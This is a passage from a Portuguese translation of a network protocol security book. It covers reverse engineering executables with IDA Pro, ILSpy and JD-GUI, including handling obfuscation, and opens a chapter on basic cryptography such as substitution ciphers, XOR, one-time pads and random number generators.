inicial selecionando Arquivo ▸ Carregar Arquivo ▸ Arquivo
PDB.

Os símbolos de depuração são mais importantes na engenharia


reversa no IDA Pro ao nomear funções nas janelas de
desmontagem e funções. Se os símbolos também contiverem
informações de tipo, você verá anotações nas chamadas de
função indicando os tipos de parâmetros, como mostrado na
Figura 6-9.

Figura 6-9: Desmontagem com símbolos de depuração

Mesmo sem um arquivo PDB, você pode conseguir acessar


algumas informações simbólicas do executável. Bibliotecas
dinâmicas, por exemplo, precisam exportar algumas funções
para que outro executável as utilize: essa exportação fornecerá
algumas informações simbólicas básicas, incluindo os nomes
das funções externas. A partir dessas informações, você poderá
explorar os detalhes e encontrar o que procura na janela
Exportações. A Figura 6-10 mostra como essas informações
seriam apresentadas para a biblioteca de rede do Windows
ws2_32.dll.
Figura 6-10: Exportações da biblioteca ws2_32.dll

Os símbolos de depuração funcionam de forma semelhante no


macOS, exceto que as informações de depuração estão contidas
em um pacote de símbolos de depuração (dSYM), que é criado
junto com o executável, em vez de em um único arquivo PDB. O
pacote dSYM é um diretório de pacote macOS separado e
raramente é distribuído com aplicativos comerciais. No entanto,
o formato executável Mach-O pode armazenar informações
simbólicas básicas, como nomes de funções e variáveis de
dados, no executável. Um desenvolvedor pode executar uma
ferramenta chamada Strip, que removerá todas essas
informações simbólicas de um binário Mach-O. Se o Strip não
for executado, o binário Mach-O ainda poderá conter
informações simbólicas úteis para engenharia reversa.

No Linux, os arquivos executáveis ELF agrupam todas as


informações de depuração e outras informações simbólicas em
um único arquivo executável, colocando as informações de
depuração em sua própria seção dentro do executável. Assim
como no macOS, a única maneira de remover essas
informações é com a ferramenta Strip; se o desenvolvedor não
fizer isso antes do lançamento, você poderá ter sorte. (É claro
que você terá acesso ao código-fonte da maioria dos programas
que rodam no Linux.)

Visualizando bibliotecas importadas

Em um sistema operacional de propósito geral, as chamadas


para APIs de rede provavelmente não serão incorporadas
diretamente ao executável. Em vez disso, as funções serão
vinculadas dinamicamente em tempo de execução. Para
determinar o que um executável importa dinamicamente,
visualize a janela Imports no IDA Pro, conforme mostrado na
Figura 6-11.

Na figura, várias APIs de rede são importadas da biblioteca


ws2_32.dll, que é a implementação de sockets BSD para
Windows. Ao clicar duas vezes em uma entrada, você verá a
importação em uma janela de desmontagem. A partir daí, você
pode encontrar referências a essa função usando o IDA Pro
para exibir as referências cruzadas para esse endereço.

Figura 6-11: A janela de Importações


Além das funções de rede, você também pode observar que
várias bibliotecas criptográficas foram importadas. Seguir essas
referências pode levar você a onde a criptografia é usada no
executável. Usando essas informações importadas, você poderá
rastrear a função que a chamou originalmente para descobrir
como ela foi utilizada. Bibliotecas de criptografia comuns
incluem OpenSSL e a [Link] do Windows.

Analisando Cadeias de Caracteres

A maioria das aplicações contém strings com informações de


texto imprimíveis, como texto para exibição durante a execução
da aplicação, texto para fins de registro ou texto remanescente
do processo de depuração que não é utilizado. O texto,
especialmente as informações de depuração internas, pode
indicar o que uma função desmontada está fazendo.
Dependendo de como o desenvolvedor adicionou as
informações de depuração, você pode encontrar o nome da
função, o arquivo de código-fonte C original ou até mesmo o
número da linha no código-fonte onde a string de depuração foi
impressa. (A maioria dos compiladores C e C++ oferece suporte
a uma sintaxe para incorporar esses valores em uma string
durante a compilação.)
O IDA Pro tenta encontrar sequências de texto imprimíveis
como parte do seu processo de análise. Para exibir essas
sequências, abra a janela "Strings". Clique na sequência
desejada e você verá sua definição. Em seguida, você pode
tentar encontrar referências à sequência que permitam
rastrear a funcionalidade associada a ela.

A análise de strings também é útil para determinar com quais


bibliotecas um executável foi vinculado estaticamente. Por
exemplo, a biblioteca de compressão ZLib é comumente
vinculada estaticamente, e o executável vinculado deve sempre
conter a seguinte string (o número da versão pode variar):

inflate 1.2.8 Copyright 1995-2013 Mark Adler

Ao descobrir rapidamente quais bibliotecas estão incluídas em


um executável, você poderá adivinhar com sucesso a estrutura
do protocolo.

Identificando código automatizado

Certos tipos de funcionalidades se prestam à identificação


automatizada. Por exemplo, algoritmos de criptografia
normalmente possuem diversas constantes mágicas (números
definidos pelo algoritmo, escolhidos por suas propriedades
matemáticas específicas) como parte do algoritmo. Se você
encontrar essas constantes mágicas no executável, saberá que
um determinado algoritmo de criptografia está, pelo menos,
compilado no executável (embora não seja necessariamente
usado). Por exemplo, a Listagem 6-3 mostra a inicialização do
algoritmo de hash MD5, que utiliza valores de constantes
mágicas.

void md5_init( md5_context *ctx )

ctx->state[0] = 0x67452301;
ctx->state[1] = 0xEFCDAB89;
ctx->state[2] = 0x98BADCFE;
ctx->state[3] = 0x10325476;

Listagem 6-3: Inicialização MD5 mostrando constantes mágicas

Com o conhecimento do algoritmo MD5, você pode procurar


esse código de inicialização no IDA Pro selecionando uma
janela de desmontagem e escolhendo Pesquisar ▸ Valor
imediato. Preencha a caixa de diálogo conforme mostrado na
Figura 6-12 e clique em OK.
Figura 6-12: A caixa de pesquisa do IDA Pro para a constante
MD5

Se o MD5 estiver presente, sua busca deverá exibir uma lista de


locais onde esse valor único é encontrado. Em seguida, você
pode alternar para a janela de desmontagem para tentar
determinar qual código usa esse valor. Você também pode usar
essa técnica com algoritmos, como o algoritmo de criptografia
AES, que usa estruturas especiais de caixa S que contêm
constantes mágicas semelhantes.

No entanto, localizar algoritmos usando a caixa de pesquisa do


IDA Pro pode ser demorado e propenso a erros. Por exemplo, a
pesquisa na Figura 6-12 encontrará MD5, bem como SHA-1, que
usa as mesmas quatro constantes mágicas (e adiciona uma
quinta). Felizmente, existem ferramentas que podem fazer
essas pesquisas para você. Um exemplo, o PEiD (disponível em
[Link]
Protectors/[Link]), determina se um arquivo PE do
Windows foi compactado com uma ferramenta de compactação
conhecida, como o UPX. Ele inclui alguns plug-ins, um dos quais
detecta possíveis algoritmos de criptografia e indica onde eles
são referenciados no executável.

Para usar o PEiD para detectar algoritmos criptográficos, inicie


o PEiD e clique no botão no canto superior direito … para
escolher um executável PE para analisar. Em seguida, execute o
plug-in clicando no botão no canto inferior direito e
selecionando Plugins ▸ Analisador de Criptografia. Se o
executável contiver algum algoritmo criptográfico, o plug-in
deverá identificá-lo e exibir uma caixa de diálogo como a da
Figura 6-13. Você pode então inserir o valor do endereço
referenciado ➊ no IDA Pro para analisar os resultados.
Figura 6-13: Resultado da análise do algoritmo criptográfico
PEiD

Engenharia Reversa Dinâmica

A engenharia reversa dinâmica consiste em inspecionar o


funcionamento de um programa executável em execução. Esse
método de engenharia reversa é especialmente útil para
analisar funcionalidades complexas, como criptografia
personalizada ou rotinas de compressão. Isso porque, em vez
de analisar o código desmontado de uma funcionalidade
complexa, você pode analisá-lo passo a passo, instrução por
instrução. A engenharia reversa dinâmica também permite
testar sua compreensão do código, possibilitando a injeção de
entradas de teste.

A maneira mais comum de realizar engenharia reversa


dinâmica é usar um depurador para interromper a execução de
um aplicativo em pontos específicos e inspecionar os valores
dos dados. Embora existam vários programas de depuração
disponíveis, usaremos o IDA Pro, que contém um depurador
básico para aplicativos Windows e sincroniza as visualizações
estática e de depuração. Por exemplo, se você renomear uma
função no depurador, essa alteração será refletida na
desmontagem estática.

OBSERVAÇÃO

Embora eu utilize o IDA Pro no Windows na


discussão a seguir, as técnicas básicas são
aplicáveis a outros sistemas operacionais e
depuradores.

Para executar o arquivo executável atualmente desmontado no


depurador do IDA Pro, pressione F9. Se o executável precisar de
argumentos de linha de comando, adicione-os selecionando
Depurador ▸ Opções do Processo e preenchendo a caixa de
texto Parâmetros na caixa de diálogo exibida. Para interromper
a depuração de um processo em execução, pressione CTRL-F2.

Definindo pontos de interrupção

A maneira mais simples de usar os recursos de um depurador é


definir pontos de interrupção em locais de interesse no código
desmontado e, em seguida, inspecionar o estado do programa
em execução nesses pontos de interrupção. Para definir um
ponto de interrupção, encontre uma área de interesse e
pressione F2. A linha do código desmontado deve ficar
vermelha, indicando que o ponto de interrupção foi definido
corretamente. Agora, sempre que o programa tentar executar a
instrução nesse ponto de interrupção, o depurador deverá
parar e dar acesso ao estado atual do programa.

Depurador Windows

Por padrão, o depurador do IDA Pro exibe três janelas


importantes quando atinge um ponto de interrupção.

A janela EIP

A primeira janela exibe uma visualização de desmontagem


baseada na instrução no registrador EIP, mostrando a instrução
que está sendo executada no momento (veja a Figura 6-14). Essa
janela funciona de maneira muito semelhante à janela de
desmontagem durante a engenharia reversa estática. Você pode
navegar rapidamente a partir dessa janela para outras funções
e renomear referências (que são refletidas na sua
desmontagem estática). Ao posicionar o cursor sobre um
registrador, você verá uma prévia rápida do valor, o que é
muito útil se o registrador apontar para um endereço de
memória.

Figura 6-14: A janela EIP do depurador

A janela ESP

O depurador também exibe uma janela ESP que reflete a


localização atual do registrador ESP, que aponta para a base da
pilha da thread atual. É aqui que você pode identificar os
parâmetros que estão sendo passados para as chamadas de
função ou o valor das variáveis locais. Por exemplo, a Figura 6-
15 mostra os valores da pilha imediatamente antes da chamada
da função send. Destaquei os quatro parâmetros. Assim como
na janela EIP, você pode clicar duas vezes nas referências para
navegar até essa localização.

Figura 6-15: A janela ESP do depurador

O Estado dos Registos de Uso Geral

A janela padrão de registradores gerais exibe o estado atual dos


registradores de uso geral. Lembre-se de que os registradores
são usados para armazenar os valores atuais de vários estados
do programa, como contadores de loop e endereços de
memória. Para endereços de memória, esta janela oferece uma
maneira conveniente de navegar até uma janela de
visualização de memória: clique na seta ao lado de cada
endereço para navegar da última janela de memória ativa até o
endereço de memória correspondente ao valor daquele
registrador.

Para criar uma nova janela de memória, clique com o botão


direito do mouse na matriz e selecione "Abrir em nova janela".
Você verá os indicadores de condição do registrador EFLAGS no
lado direito da janela, conforme mostrado na Figura 6-16.

Figura 6-16: A janela de registros gerais

Onde definir os pontos de interrupção?

Quais são os melhores locais para definir pontos de interrupção


ao investigar um protocolo de rede? Um bom primeiro passo é
definir pontos de interrupção nas chamadas às funções `send`
e `recv`, que enviam e recebem dados da pilha de rede.
Funções criptográficas também são um bom alvo: você pode
definir pontos de interrupção em funções que definem a chave
de criptografia ou nas funções de criptografia e descriptografia.
Como o depurador sincroniza com o desassemblador estático
no IDA Pro, você também pode definir pontos de interrupção
em áreas de código que parecem estar construindo dados do
protocolo de rede. Ao percorrer as instruções com pontos de
interrupção, você pode entender melhor como os algoritmos
subjacentes funcionam.

Engenharia Reversa de Linguagens Gerenciadas

Nem todos os aplicativos são distribuídos como executáveis


nativos. Por exemplo, aplicativos escritos em linguagens
gerenciadas como .NET e Java são compilados para uma
linguagem de máquina intermediária, geralmente projetada
para ser independente de CPU e sistema operacional. Quando o
aplicativo é executado, uma máquina virtual ou ambiente de
execução executa o código. Em .NET, essa linguagem de
máquina intermediária é chamada de Common Intermediate
Language (CIL); em Java, é chamada de bytecode Java.

Essas linguagens intermediárias contêm quantidades


substanciais de metadados, como os nomes das classes e todos
os nomes de métodos internos e externos. Além disso,
diferentemente do código compilado nativamente, a saída das
linguagens gerenciadas é bastante previsível, o que as torna
ideais para descompilação.

Nas seções seguintes, examinarei como os aplicativos .NET e


Java são empacotados. Também demonstrarei algumas
ferramentas que você pode usar para realizar engenharia
reversa de aplicativos .NET e Java de forma eficiente.

Aplicações .NET

O ambiente de execução do .NET é chamado de Common


Language Runtime (CLR). Um aplicativo .NET depende do CLR,
bem como de uma grande biblioteca de funcionalidades básicas
chamada Base Class Library (BCL).

Embora o .NET seja principalmente uma plataforma Microsoft


Windows (afinal, é desenvolvido pela Microsoft), existem
diversas outras versões mais portáteis disponíveis. A mais
conhecida é o Projeto Mono, que roda em sistemas do tipo Unix
e abrange uma ampla gama de arquiteturas de CPU, incluindo
SPARC e MIPS.

Se você examinar os arquivos distribuídos com um aplicativo


.NET, verá arquivos com extensões .exe e .ddl, e seria
compreensível presumir que são apenas executáveis nativos.
Mas se você carregar esses arquivos em um desassemblador
x86, verá uma mensagem semelhante à mostrada na Figura 6-
17.

Figura 6-17: Um executável .NET em um desassemblador x86

Acontece que o .NET usa os formatos de arquivo .exe e .dll


apenas como contêineres convenientes para o código CIL. No
ambiente de execução do .NET, esses contêineres são chamados
de assemblies.

Os assemblies contêm uma ou mais classes, enumerações e/ou


estruturas. Cada tipo é referido por um nome, geralmente
composto por um namespace e um nome abreviado. O
namespace reduz a probabilidade de nomes conflitantes, mas
também pode ser útil para categorização. Por exemplo,
quaisquer tipos sob o namespace [Link] lidam com
funcionalidades de rede.

Usando o ILSpy

Você raramente, ou nunca, precisará interagir com o CIL bruto,


pois ferramentas como o Reflector ([Link]
[Link]/products/dotnet-development/reflector/) e o ILSpy
([Link] podem descompilar os dados CIL em código-
fonte C# ou Visual Basic e exibir o CIL original. Vamos ver como
usar o ILSpy, uma ferramenta gratuita e de código aberto que
você pode usar para encontrar a funcionalidade de rede de um
aplicativo. A Figura 6-18 mostra a interface principal do ILSpy.

A interface é dividida em duas janelas. A janela da esquerda ➊


exibe uma lista em árvore de todos os assemblies carregados
pelo ILSpy. Você pode expandir a visualização em árvore para
ver os namespaces e os tipos que um assembly contém ➋. A
janela da direita mostra o código-fonte desmontado ➌. O
assembly selecionado na janela da esquerda é expandido na
janela da direita.

Para trabalhar com um aplicativo .NET, carregue-o no ILSpy


pressionando CTRL+O e selecionando o aplicativo na caixa de
diálogo. Se você abrir o arquivo executável principal do
aplicativo, o ILSpy deverá carregar automaticamente qualquer
assembly referenciado no executável, conforme necessário.

Com o aplicativo aberto, você pode pesquisar a funcionalidade


de rede. Uma maneira de fazer isso é pesquisar por tipos e
membros cujos nomes soem como funções de rede. Para
pesquisar todos os assemblies carregados, pressione F3. Uma
nova janela deverá aparecer no lado direito da tela, como
mostrado na Figura 6-19.
Figura 6-18: A interface principal do ILSpy
Figura 6-19: A janela de pesquisa do ILSpy

Insira um termo de pesquisa em ➊ para filtrar todos os tipos


carregados e exibi-los na janela abaixo. Você também pode
pesquisar membros ou constantes selecionando-os na lista
suspensa em ➋. Por exemplo, para pesquisar strings literais,
selecione Constante. Quando encontrar uma entrada que deseja
inspecionar, como TcpNetworkListener ➌, clique duas vezes
nela e o ILSpy deverá descompilar automaticamente o tipo ou
método.

Em vez de pesquisar diretamente por tipos e membros


específicos, você também pode pesquisar em um aplicativo
áreas que utilizam bibliotecas de rede ou criptografia
integradas. A biblioteca de classes base contém um grande
conjunto de APIs de soquete de baixo nível e bibliotecas para
protocolos de nível superior, como HTTP e FTP. Se você clicar
com o botão direito do mouse em um tipo ou membro na janela
à esquerda e selecionar Analisar, uma nova janela deverá
aparecer, como mostrado no lado direito da Figura 6-20.
Figura 6-20: ILSpy analisando um tipo

Esta nova janela é uma árvore que, quando expandida, mostra


os tipos de análises que podem ser realizadas no item
selecionado na janela à esquerda. Suas opções dependerão do
que você selecionou para analisar. Por exemplo, analisar um
tipo ➊ mostra três opções, embora normalmente você precise
usar apenas as duas formas de análise a seguir:
Instanciado por: Mostra quais métodos criam novas instâncias
deste tipo.

Exposto por: Mostra quais métodos ou propriedades usam esse


tipo em sua declaração ou parâmetros.

Se você analisar um membro, um método ou uma propriedade,


obterá duas opções ➋:

A seção "Usos" mostra quais outros membros ou tipos o


membro selecionado utiliza.

"Usado por" mostra quais outros membros usam o membro


selecionado (por exemplo, chamando o método).

Você pode expandir todas as entradas ➌.

E isso é praticamente tudo o que você precisa saber para


analisar estaticamente um aplicativo .NET. Encontre um trecho
de código de interesse, inspecione o código descompilado e, em
seguida, comece a analisar o protocolo de rede.

OBSERVAÇÃO

A maior parte da funcionalidade principal do .NET


está na biblioteca de classes base (BCL) distribuída
com o ambiente de execução do .NET e disponível
para todos os aplicativos .NET. Os assemblies da
BCL fornecem diversas bibliotecas básicas de rede
e criptografia, que os aplicativos provavelmente
precisarão se implementarem um protocolo de
rede. Procure por áreas que façam referência a
tipos nos namespaces [Link] e
[Link]. Estes são
implementados principalmente nos assemblies
MSCORLIB e System. Se você conseguir rastrear as
chamadas a essas APIs importantes, descobrirá
onde o aplicativo lida com o protocolo de rede.

Aplicações Java

Os aplicativos Java diferem dos aplicativos .NET porque o


compilador Java não mescla todos os tipos em um único
arquivo; em vez disso, ele compila cada arquivo de código-fonte
em um único arquivo de classe com a extensão .class. Como
arquivos de classe separados em diretórios do sistema de
arquivos não são muito convenientes para transferir entre
sistemas, os aplicativos Java são frequentemente empacotados
em um arquivo Java, ou JAR. Um arquivo JAR é apenas um
arquivo ZIP com alguns arquivos adicionais para dar suporte ao
ambiente de execução Java. A Figura 6-21 mostra um arquivo
JAR aberto em um programa de descompressão ZIP.

Figura 6-21: Um exemplo de arquivo JAR aberto com um


aplicativo ZIP

Para descompilar programas Java, recomendo o uso do JD-GUI


([Link] que funciona essencialmente da mesma
forma que o ILSpy na descompilação de aplicações .NET. Não
abordarei o uso do JD-GUI em detalhes, mas destacarei algumas
áreas importantes da interface do usuário na Figura 6-22 para
que você possa se familiarizar rapidamente com o programa.
Figura 6-22: JD-GUI com um arquivo JAR aberto

A Figura 6-22 mostra a interface gráfica do JD-GUI ao abrir o


arquivo JAR [Link] ➊, que é instalado por padrão com a
instalação do Java e geralmente pode ser encontrado em
JAVAHOME/lib. Você pode abrir arquivos de classe individuais
ou vários arquivos JAR simultaneamente, dependendo da
estrutura do aplicativo que você está realizando engenharia
reversa. Ao abrir um arquivo JAR, o JD-GUI analisa os
metadados, bem como a lista de classes, que são apresentadas
em uma estrutura de árvore. Na Figura 6-22, podemos ver duas
informações importantes extraídas pelo JD-GUI. Primeiro, um
pacote chamado [Link] ➋, que define as classes para
várias operações criptográficas do Java. Abaixo do nome do
pacote, há uma lista das classes definidas nesse pacote, como
[Link] ➌. Se você clicar no nome
da classe na janela da esquerda, uma versão descompilada da
classe será exibida à direita ➍. Você pode percorrer o código
descompilado ou clicar nos campos e métodos expostos pela
classe ➎ para ir diretamente a eles na janela do código
descompilado.

O segundo ponto importante a observar é que qualquer


identificador sublinhado no código descompilado pode ser
clicado, e a ferramenta navegará até a definição. Se você clicar
no identificador sublinhado `all_allowed` ➏, a interface do
usuário navegará até a definição do campo `all_allowed` na
classe descompilada atual.

Lidando com a Ofuscação


Todos os metadados incluídos em uma aplicação .NET ou Java
típica facilitam a engenharia reversa, permitindo descobrir o
funcionamento da aplicação. No entanto, desenvolvedores
comerciais, que utilizam protocolos de rede especiais e
"secretos", geralmente não gostam do fato de que essas
aplicações são muito mais fáceis de serem alvo de engenharia
reversa. A facilidade com que essas linguagens são
descompiladas também torna relativamente simples descobrir
falhas de segurança graves em protocolos de rede
personalizados. Alguns desenvolvedores podem não querer que
você saiba disso, então usam a obscuridade como solução de
segurança.

É provável que você encontre aplicações que são


intencionalmente ofuscadas usando ferramentas como o
ProGuard para Java ou o Dotfuscator para .NET. Essas
ferramentas aplicam diversas modificações à aplicação
compilada, projetadas para dificultar a engenharia reversa. A
modificação pode ser tão simples quanto alterar todos os nomes
de tipos e métodos para valores sem significado, ou pode ser
mais elaborada, como empregar descriptografia em tempo de
execução de strings e código. Seja qual for o método, a
ofuscação tornará a descompilação do código mais difícil. Por
exemplo, a Figura 6-23 mostra uma classe Java original ao lado
de sua versão ofuscada, obtida após a execução do ProGuard.
Figura 6-23: Comparação do arquivo de classe original e
ofuscado

Se você se deparar com um aplicativo ofuscado, pode ser difícil


determinar o que ele faz usando descompiladores comuns.
Afinal, esse é o objetivo da ofuscação. No entanto, aqui estão
algumas dicas para lidar com esses aplicativos:

• Lembre-se de que os tipos e métodos de bibliotecas externas


(como bibliotecas de classes principais) não podem ser
ofuscados. As chamadas às APIs de socket devem existir no
aplicativo se ele realizar qualquer comunicação em rede;
portanto, procure por elas.

• Como o .NET e o Java são fáceis de carregar e executar


dinamicamente, você pode escrever um ambiente de teste
simples para carregar o aplicativo ofuscado e executar as
rotinas de descriptografia de strings ou código.

• Utilize a engenharia reversa dinâmica sempre que possível


para inspecionar os tipos em tempo de execução e determinar
sua finalidade.

Recursos de engenharia reversa

Os seguintes URLs fornecem acesso a excelentes recursos de


informação para engenharia reversa de software. Esses
recursos oferecem mais detalhes sobre engenharia reversa ou
outros tópicos relacionados, como formatos de arquivos
executáveis.

• Fóruns do OpenRCE: [Link]

• Formato de arquivo ELF:


[Link]
• Formato macOS Mach-O:
[Link]

[Link]
erTools/Conceptual/MachORuntime/Reference/[Link]

• Formato de arquivo PE: [Link]


us/library/windows/desktop/ms680547(v=vs.85).aspx

Para obter mais informações sobre as ferramentas utilizadas


neste capítulo, incluindo onde baixá-las, consulte o Apêndice A.

Palavras finais

A engenharia reversa exige tempo e paciência, portanto, não


espere aprendê-la da noite para o dia. É preciso tempo para
entender como o sistema operacional e a arquitetura
funcionam em conjunto, para desvendar a complexidade que o
C otimizado pode gerar no desassemblador e para analisar
estaticamente o código descompilado. Espero ter dado algumas
dicas úteis sobre como fazer engenharia reversa em um
executável para encontrar seu código de protocolo de rede.

A melhor abordagem para engenharia reversa é começar com


pequenos executáveis que você já entende. Você pode comparar
o código-fonte desses pequenos executáveis com o código de
máquina desmontado para entender melhor como o
compilador traduziu a linguagem de programação original.

Claro, não se esqueça da engenharia reversa dinâmica e do uso


de um depurador sempre que possível. Às vezes, simplesmente
executar o código será um método mais eficiente do que a
análise estática. Além de ajudar a entender melhor como a
arquitetura do computador funciona, percorrer o código passo
a passo também permite analisar completamente uma pequena
seção do código. Se tiver sorte, você poderá analisar um
executável de linguagem gerenciada escrito em .NET ou Java
usando uma das muitas ferramentas disponíveis. É claro que, se
o desenvolvedor tiver ofuscado o executável, a análise se torna
mais difícil, mas essa é a graça da engenharia reversa.
7
SEGURANÇA DE PROTOCOLO DE REDE

Os protocolos de rede transferem informações entre os


participantes de uma rede, e há uma grande probabilidade de
que essas informações sejam sensíveis. Sejam dados de cartão
de crédito ou informações ultrassecretas de sistemas
governamentais, é fundamental garantir a segurança. Os
engenheiros consideram muitos requisitos de segurança ao
projetar um protocolo, mas vulnerabilidades frequentemente
surgem com o tempo, especialmente quando um protocolo é
usado em redes públicas onde qualquer pessoa monitorando o
tráfego pode atacá-lo.

Todos os protocolos de segurança devem fazer o seguinte:

• Manter a confidencialidade dos dados, protegendo-os contra


leitura.

• Manter a integridade dos dados, protegendo-os contra


modificações.

• Impeça que um invasor se faça passar pelo servidor


implementando autenticação de servidor.
• Impeça que um invasor se faça passar pelo cliente
implementando a autenticação do cliente.

Neste capítulo, discutirei como esses quatro requisitos são


atendidos em protocolos de rede comuns, abordarei possíveis
vulnerabilidades a serem observadas ao analisar um protocolo
e descreverei como esses requisitos são implementados em um
protocolo seguro do mundo real. Abordarei como identificar
qual criptografia de protocolo está em uso ou quais falhas
procurar nos capítulos subsequentes.

O campo da criptografia inclui duas técnicas importantes que


muitos protocolos de rede utilizam, ambas com alguma forma
de proteção de dados ou do protocolo: a criptografia garante a
confidencialidade dos dados, e a assinatura digital garante a
integridade e a autenticação dos dados.

Protocolos de rede seguros utilizam amplamente criptografia e


assinatura digital, mas a criptografia pode ser difícil de
implementar corretamente: é comum encontrar erros de
implementação e projeto que levam a vulnerabilidades capazes
de comprometer a segurança de um protocolo. Ao analisar um
protocolo, é fundamental ter um sólido conhecimento das
tecnologias e algoritmos envolvidos para identificar e até
mesmo explorar fragilidades graves. Vamos começar pela
criptografia para entender como erros de implementação
podem comprometer a segurança de uma aplicação.

Algoritmos de criptografia

A história da criptografia remonta a milhares de anos e, à


medida que as comunicações eletrônicas se tornaram mais
fáceis de monitorar, a criptografia tornou-se consideravelmente
mais importante. Os algoritmos de criptografia modernos
geralmente se baseiam em modelos matemáticos muito
complexos. No entanto, o simples fato de um protocolo usar
algoritmos complexos não significa que ele seja seguro.

Normalmente, nos referimos a um algoritmo de criptografia


como uma cifra ou um código, dependendo de sua estrutura. Ao
discutir a operação de criptografia, a mensagem original, não
criptografada, é chamada de texto plano. O resultado do
algoritmo de criptografia é uma mensagem criptografada
chamada texto cifrado. A maioria dos algoritmos também
precisa de uma chave para criptografia e descriptografia. O
esforço para quebrar ou enfraquecer um algoritmo de
criptografia é chamado de criptoanálise.

Muitos algoritmos que antes eram considerados seguros


revelaram inúmeras vulnerabilidades e até mesmo portas
traseiras. Em parte, isso se deve ao enorme aumento no
desempenho computacional desde a invenção desses
algoritmos (alguns dos quais datam da década de 1970),
tornando viáveis ataques que antes considerávamos possíveis
apenas na teoria.

Se você deseja quebrar protocolos de rede seguros, precisa


entender alguns dos algoritmos criptográficos mais conhecidos
e onde residem suas vulnerabilidades. A criptografia não
precisa envolver matemática complexa. Alguns algoritmos são
usados apenas para ofuscar a estrutura do protocolo na rede,
como strings ou números. É claro que, se um algoritmo é
simples, sua segurança geralmente é baixa. Uma vez descoberto
o mecanismo de ofuscação, ele deixa de oferecer segurança
real.

Aqui, apresentarei uma visão geral de alguns algoritmos de


criptografia comuns, mas não abordarei a construção dessas
cifras em detalhes, pois, na análise de protocolos, precisamos
apenas entender o algoritmo em uso.

Cifras de Substituição

Uma cifra de substituição é a forma mais simples de


criptografia. Cifras de substituição usam um algoritmo para
criptografar um valor com base em uma tabela de substituição
que contém um mapeamento um-para-um entre o texto plano e
o valor correspondente do texto cifrado, como mostrado na
Figura 7-1. Para descriptografar o texto cifrado, o processo é
inverso: o valor cifrado é procurado em uma tabela (que foi
invertida) e o valor original do texto plano é reproduzido. A
Figura 7-1 mostra um exemplo de cifra de substituição.

Figura 7-1: Criptografia por substituição

Na Figura 7-1, a tabela de substituição (apresentada apenas


como um exemplo simples) mostra seis substituições definidas
à direita. Em uma cifra de substituição completa, normalmente
seriam definidas muito mais substituições. Durante a
criptografia, a primeira letra é escolhida do texto original e, em
seguida, a substituição dessa letra é consultada na tabela de
substituição. Aqui, o H em HELLO é substituído pela letra X.
Esse processo continua até que todas as letras sejam
criptografadas.

Embora a substituição possa fornecer proteção adequada


contra ataques casuais, ela não resiste à criptoanálise. A análise
de frequência é comumente usada para quebrar cifras de
substituição, correlacionando a frequência de símbolos
encontrados no texto cifrado com aqueles tipicamente
encontrados em conjuntos de dados de texto plano. Por
exemplo, se a cifra protege uma mensagem escrita em inglês, a
análise de frequência pode determinar a frequência de certas
letras, pontuação e numerais comuns em um grande conjunto
de obras escritas. Como a letra E é a mais comum na língua
inglesa, é muito provável que o caractere mais frequente na
mensagem cifrada seja o E. Seguindo esse processo até sua
conclusão lógica, é possível construir a tabela de substituição
original e decifrar a mensagem.

Criptografia XOR

O algoritmo de criptografia XOR é uma técnica muito simples


para criptografar e descriptografar dados. Ele funciona
aplicando a operação XOR bit a bit entre um byte do texto plano
e um byte da chave, resultando no texto cifrado. Por exemplo,
dados o byte 0x48 e o byte da chave 0x82, o resultado da
operação XOR seria 0xCA.

Como a operação XOR é simétrica, aplicar o mesmo byte da


chave ao texto cifrado retorna o texto original. A Figura 7-2
mostra a operação de criptografia XOR com uma chave de um
único byte.

Figura 7-2: Uma operação de cifra XOR com uma chave de um


único byte

Especificar uma chave de um único byte torna o algoritmo de


criptografia muito simples e pouco seguro. Não seria difícil para
um atacante testar todos os 256 valores possíveis para a chave a
fim de descriptografar o texto cifrado e obter o texto plano, e
aumentar o tamanho da chave não ajudaria. Como a operação
XOR é simétrica, o texto cifrado pode ser submetido a um XOR
com o texto plano conhecido para determinar a chave. Com
texto plano suficiente, a chave poderia ser calculada e aplicada
ao restante do texto cifrado para descriptografar toda a
mensagem.

A única maneira de usar a criptografia XOR com segurança é se


a chave tiver o mesmo tamanho da mensagem e os valores na
chave forem escolhidos de forma completamente aleatória.
Essa abordagem é chamada de criptografia de chave única
(one-time pad) e é bastante difícil de quebrar. Se um atacante
souber mesmo que uma pequena parte do texto simples, ele
não conseguirá determinar a chave completa. A única maneira
de recuperar a chave seria conhecer todo o texto simples da
mensagem; nesse caso, obviamente, o atacante não precisaria
recuperar a chave.

Infelizmente, o algoritmo de criptografia de chave única (one-


time pad) apresenta problemas significativos e raramente é
usado na prática. Um dos problemas é que, ao usar uma chave
única, o tamanho do material da chave enviado deve ser o
mesmo que o de qualquer mensagem, tanto para o remetente
quanto para o destinatário. A única maneira de uma chave
única ser segura é se cada byte da mensagem for criptografado
com um valor completamente aleatório. Além disso, você nunca
pode reutilizar uma chave de chave única para mensagens
diferentes, porque se um invasor conseguir descriptografar sua
mensagem uma vez, ele poderá recuperar a chave e,
consequentemente, as mensagens subsequentes criptografadas
com a mesma chave ficarão comprometidas.

Se a criptografia XOR é tão inferior, por que sequer mencioná-


la? Bem, embora não seja "segura", os desenvolvedores ainda a
utilizam por preguiça, pois é fácil de implementar. A
criptografia XOR também é usada como um elemento primitivo
para construir algoritmos de criptografia mais seguros, por isso
é importante entender como ela funciona.

Geradores de Números Aleatórios

Os sistemas criptográficos dependem fortemente de números


aleatórios de boa qualidade. Neste capítulo, você verá como eles
são usados como chaves por sessão, vetores de inicialização e os
grandes números primos p e q para o algoritmo RSA. No
entanto, obter dados verdadeiramente aleatórios é difícil
porque os computadores são, por natureza, determinísticos:
qualquer programa deve produzir a mesma saída quando
recebe a mesma entrada e o mesmo estado.
Uma maneira de gerar dados relativamente imprevisíveis é
amostrando processos físicos. Por exemplo, você poderia medir
o tempo em que um usuário pressiona uma tecla no teclado ou
amostrar uma fonte de ruído elétrico, como o ruído térmico em
um resistor. O problema com esses tipos de fontes é que elas
não fornecem muitos dados — talvez apenas algumas centenas
de bytes por segundo, no máximo, o que não é suficiente para
um sistema criptográfico de uso geral. Uma chave RSA simples
de 4096 bits requer pelo menos dois números aleatórios de 256
bytes, cuja geração levaria vários segundos.

Para que esses dados amostrados sejam mais úteis, as


bibliotecas criptográficas implementam geradores de números
pseudoaleatórios (PRNGs), que usam um valor inicial (semente)
e geram uma sequência de números que, em teoria, não
deveriam ser previsíveis sem o conhecimento do estado interno
do gerador. A qualidade dos PRNGs varia muito entre as
bibliotecas: a função rand() da biblioteca C, por exemplo, é
completamente inútil para protocolos criptograficamente
seguros. Um erro comum é usar um algoritmo fraco para gerar
